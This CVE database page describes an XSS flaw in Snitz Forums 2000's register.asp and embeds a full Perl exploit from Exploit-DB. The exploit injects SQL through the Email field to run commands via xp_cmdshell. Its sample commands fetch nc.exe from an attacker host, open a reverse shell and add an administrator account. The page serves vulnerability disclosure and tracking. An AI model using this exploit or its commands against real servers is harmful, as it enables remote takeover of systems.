CVE-2004-2720 : Detail

CVE-2004-2720

Cross-site Scripting
A03-Injection
7.2%V4
Network
2007-10-06
19h00 +00:00
2017-07-28
10h57 +00:00
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CVE Descriptions

Cross-site scripting (XSS) vulnerability in register.asp in Snitz Forums 2000 3.4.04 and earlier allows remote attackers to inject arbitrary web script or HTML via javascript events in the Email parameter.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 30

Publication date : 2003-05-11 22h00 +00:00
Author : anonymous
EDB Verified : Yes

#!/usr/bin/perl use Socket; print "\nRemote command execution against Snitz Forums 3.3.03 (and probably others).\n"; print "You accept full responsibility for your actions by using this script.\n"; print "INTERNAL USE ONLY!! DO NOT DISTRIBUTE!!\n"; print "\nWeb server? [www.enterthegame.com]: "; my $webserver = <STDIN>; chomp $webserver; if( $webserver eq "" ) { $webserver = "www.enterthegame.com"; } print "\nWeb server port? [80]: "; my $port = <STDIN>; chomp $port; if( $port eq "" ) { $port = 80; } print "\nAbsolute path to \"register.asp\"? [/forum/register.asp]: "; my $path = <STDIN>; chomp $path; if( $path eq "" ) { $path = "/forum/register.asp"; } print "\nCommand to execute non-interactively\n"; print " Example commands: tftp -i Your.IP.Here GET nc.exe\n"; print " nc.exe -e cmd.exe Your.IP.Here YourNetcatListeningPortHere\n"; print " or: net user h4x0r /add | net localgroup Administrators h4x0r /add\n"; print "Your command: "; my $command = <STDIN>; chomp $command; $command =~ s/\ /\%20/g; if( open_TCP( FILEHANDLE, $webserver, 80 ) == undef ) { print "Error connecting to $webserver\n"; exit( 0 ); } else { my $data1 = $path . "\?mode\=DoIt"; my $data2 = "Email\=\'\%20exec\%20master..xp_cmdshell\%20\'" . $command. "\'\%20--\&Name\=snitz"; my $length = length( $data2 ); print FILEHANDLE "POST $data1 HTTP/1.1\n"; if( $port == 80 ) { print FILEHANDLE "Host: $webserver\n"; } else { print FILEHANDLE "Host: $webserver:$port\n"; } print FILEHANDLE "Accept: */*\n"; print FILEHANDLE "User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\n"; print FILEHANDLE "Keep-Alive: 300\n"; print FILEHANDLE "Referer: http:\/\/$webserver$path\?mode\=Register\n"; print FILEHANDLE "Content-Type: application/x-www-form-urlencoded\n"; print FILEHANDLE "Content-Length: $length\n\n"; print FILEHANDLE "$data2"; print "\nSQL injection command sent. If you are waiting for a shell on your listening\n"; print "netcat, hit \"enter\" a couple of times to be safe.\n\n"; close( FILEHANDLE ); } sub open_TCP { my( $FS, $dest, $port ) = @_; my $proto = getprotobyname( 'tcp' ); socket( $FS, PF_INET, SOCK_STREAM, $proto ); my $sin = sockaddr_in( $port, inet_aton( $dest )); connect( $FS, $sin ) || return undef; my $old_fh = select( $FS ); $| = 1; select( $old_fh ); return 1; } # milw0rm.com [2003-05-12]

Products Mentioned

Configuraton 0

Snitz_communications>>Snitz_forums_2000 >> Version To (including) 3.4.04

References

http://secunia.com/advisories/11895
Tags : third-party-advisory, x_refsource_SECUNIA
http://securityreason.com/securityalert/3200
Tags : third-party-advisory, x_refsource_SREASON
http://securitytracker.com/id?1010524
Tags : vdb-entry, x_refsource_SECTRACK
http://www.osvdb.org/7190
Tags : vdb-entry, x_refsource_OSVDB
http://www.securityfocus.com/bid/10564
Tags : vdb-entry, x_refsource_BID
http://www.securityfocus.com/archive/1/366309
Tags : mailing-list, x_refsource_BUGTRAQ